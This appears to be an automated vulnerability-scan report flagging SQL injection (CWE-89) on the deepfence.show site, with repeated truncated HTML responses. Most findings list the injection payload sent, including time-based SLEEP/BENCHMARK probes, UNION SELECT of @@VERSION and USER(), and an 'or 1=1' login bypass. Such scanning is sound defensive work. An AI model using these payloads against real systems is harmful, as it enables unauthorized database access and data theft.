Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #683Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io %' AND 8310=8310 AND '%'='
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #684
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioSLEEP(5)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #685
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13
#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #686
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AS INJECTX WHERE 1=1 AND 1=1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #687
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AS INJECTX WHERE 1=1 AND 1=0
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #688
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #689
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified Name ValueParameters demouser@
deepfence.ioAND 1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #690
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #691
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #692
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR
(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(
116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #693
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioadmin" or 1=1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.ioCWE-ID CWE-89
Issue Number #694
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+
CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #695
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 6
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #696
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR
(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(
116)+CHAR(69)+CHAR(65)+CHAR(113)))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #697Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
